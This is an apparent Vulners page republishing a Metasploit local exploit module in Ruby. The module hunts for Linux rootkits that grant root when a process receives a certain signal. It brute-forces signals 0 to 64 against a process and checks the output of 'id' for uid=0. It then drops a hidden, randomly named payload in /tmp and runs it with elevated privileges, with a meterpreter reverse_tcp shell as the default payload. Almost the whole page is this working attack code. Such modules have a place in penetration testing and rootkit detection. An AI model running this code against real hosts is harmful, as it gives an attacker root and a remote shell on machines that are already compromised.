Lucene search
K

Rootkit Privilege Escalation Signal Hunter

🗓️ 31 Oct 2025 18:58:29Reported by bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 466 Views

Module detects rootkits that escalate to root via signals by sending signals and observing user id.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Deprecated

  moved_from 'exploit/linux/local/diamorphine_rootkit_signal_priv_esc'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rootkit Privilege Escalation Signal Hunter',
        'Description' => %q{
          This module searches for rootkits which use signals to elevate
          process privileges to UID 0 (root).

          Some rootkits install signal handlers which listen for specific
          signals to elevate process privileges. This module identifies these
          rootkits by sending signals and observing UID switching to root.

          This module has been tested successfully with:

          Singularity 5b6c4b6 (2025-10-19) on Ubuntu 24.04
          kernel 6.14.0-33-generic (x64);
          Diamorphine 2337293 (2023-09-20) on Ubuntu 22.04
          kernel 5.19.0-38-generic (x64);
          Codeine 9644336 (2025-09-02) on Ubuntu 22.04
          kernel 5.19.0-38-generic (x64).
        },
        'License' => MSF_LICENSE,
        'Author' => 'bcoles',
        # Diamorphine rootkit first publicly documented use of signals for process privesc?
        'DisclosureDate' => '2013-11-07', # Diamorphine first public commit
        'References' => [
          ['URL', 'https://github.com/bcoles/rootkit-signal-hunter'],
          ['URL', 'https://xcellerator.github.io/posts/linux_rootkits_03/'],
          ['URL', 'https://github.com/m0nad/Diamorphine'],
          ['URL', 'https://github.com/h3xduck/Umbra'],
          ['URL', 'https://github.com/diego-tella/Codeine'],
          ['URL', 'https://github.com/MatheuZSecurity/Singularity'],
          ['URL', 'https://github.com/Asekon/RootKit'],
        ],
        'Platform' => ['linux'],
        'Arch' => [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_RISCV64LE,
          ARCH_RISCV32LE,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [['Auto', {}]],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [
            CRASH_OS_DOWN,    # Poorly designed rootkits may crash
          ],
          'SideEffects' => [
            ARTIFACTS_ON_DISK,
            SCREEN_EFFECTS,   # Killing processes may spawn crash handler windows
          ]
        },
        'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
        'DefaultTarget' => 0
      )
    )
    register_options([
      OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]),
      OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]),
      OptString.new('PID', [false, 'Process ID to send signals to (leave blank to spawn a new process)', ''])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def cmd_exec_elevated(signal, cmd, pid)
    vprint_status("Executing '#{cmd}' with signal #{signal} (PID: #{pid}) ...")

    # NOTE: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
    # due to using "$!" which is not supported
    res = cmd_exec(
      %(sh -c 'kill -#{signal} #{pid}; #{cmd}' 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"),
      nil,
      5
    ).to_s
    vprint_line(res) unless res.blank?

    res
  end

  def check
    return CheckCode::Unknown('Session already has root privileges') if is_root?

    # NOTE: this will fail on non-POSIX shells (ie, fish)
    # due to using "$$" which is not supported
    pid = datastore['PID'].downcase.blank? ? '\$$' : datastore['PID']

    # Iterate from MIN to MAX sending each signal to PID.
    #
    # SIGCONT if the process hangs.
    # Note: cleanup of hung processes will fail on non-POSIX shells (ie, fish)
    # due to using "$!" which is not supported
    cmd = [
      "i=#{datastore['MIN_SIGNAL']}",
      %(while [ "$i" -le #{datastore['MAX_SIGNAL']} ]),
      %(do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!),
      'sleep 0.1; kill -CONT "$pid" 2>/dev/null',
      'wait "$pid"',
      'i=$((i + 1))',
      'done 2>/dev/null'
    ].join('; ')

    res = cmd_exec(
      cmd,
      nil,
      60
    )
    vprint_line(res) unless res.blank?

    return CheckCode::Safe('No rootkits detected') unless res.to_s.include?('uid=0')

    CheckCode::Vulnerable('Rootkit(s) are installed and configured to elevate privileges for signals.')
  end

  # @return Array of signals which can be used to elevate privileges to root
  def brute_signals(min, max, pid)
    print_status("Trying signals #{min} to #{max} (PID: #{pid}) ...")
    signals = []

    (min..max).each do |signal|
      signals << signal if cmd_exec_elevated(signal, 'id', pid).to_s.include?('uid=0')
    end

    signals
  end

  def exploit
    fail_with(Failure::BadConfig, 'Session already has root privileges.') if is_root?
    fail_with(Failure::BadConfig, "Start signal (#{datastore['MIN_SIGNAL']}) is greater than stop signal (#{datastore['MAX_SIGNAL']}); nothing to iterate.") if datastore['MIN_SIGNAL'] > datastore['MAX_SIGNAL']
    fail_with(Failure::BadConfig, "#{base_dir} is not writable") unless writable?(base_dir)

    pid = datastore['PID'].downcase.blank? ? '$$' : datastore['PID']
    signals = brute_signals(
      datastore['MIN_SIGNAL'],
      datastore['MAX_SIGNAL'],
      pid
    )

    fail_with(Failure::NotVulnerable, 'No rootkits detected') if signals.blank?

    print_good("Found #{signals.size} signals for privilege escalation (#{signals.join(', ')}).")

    payload_name = ".#{rand_text_alphanumeric(8..12)}"
    payload_path = "#{base_dir}/#{payload_name}"
    payload_data = generate_payload_exe
    print_status("Writing '#{payload_path}' (#{payload_data.size} bytes) ...")
    write_file(payload_path, payload_data)
    chmod(payload_path, 0o755)
    register_file_for_cleanup(payload_path)

    signals.each do |signal|
      print_status("Trying signal #{signal} ...")
      cmd_exec_elevated(signal, "#{payload_path} & echo ", pid)
      sleep(5)
      break if session_created?
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation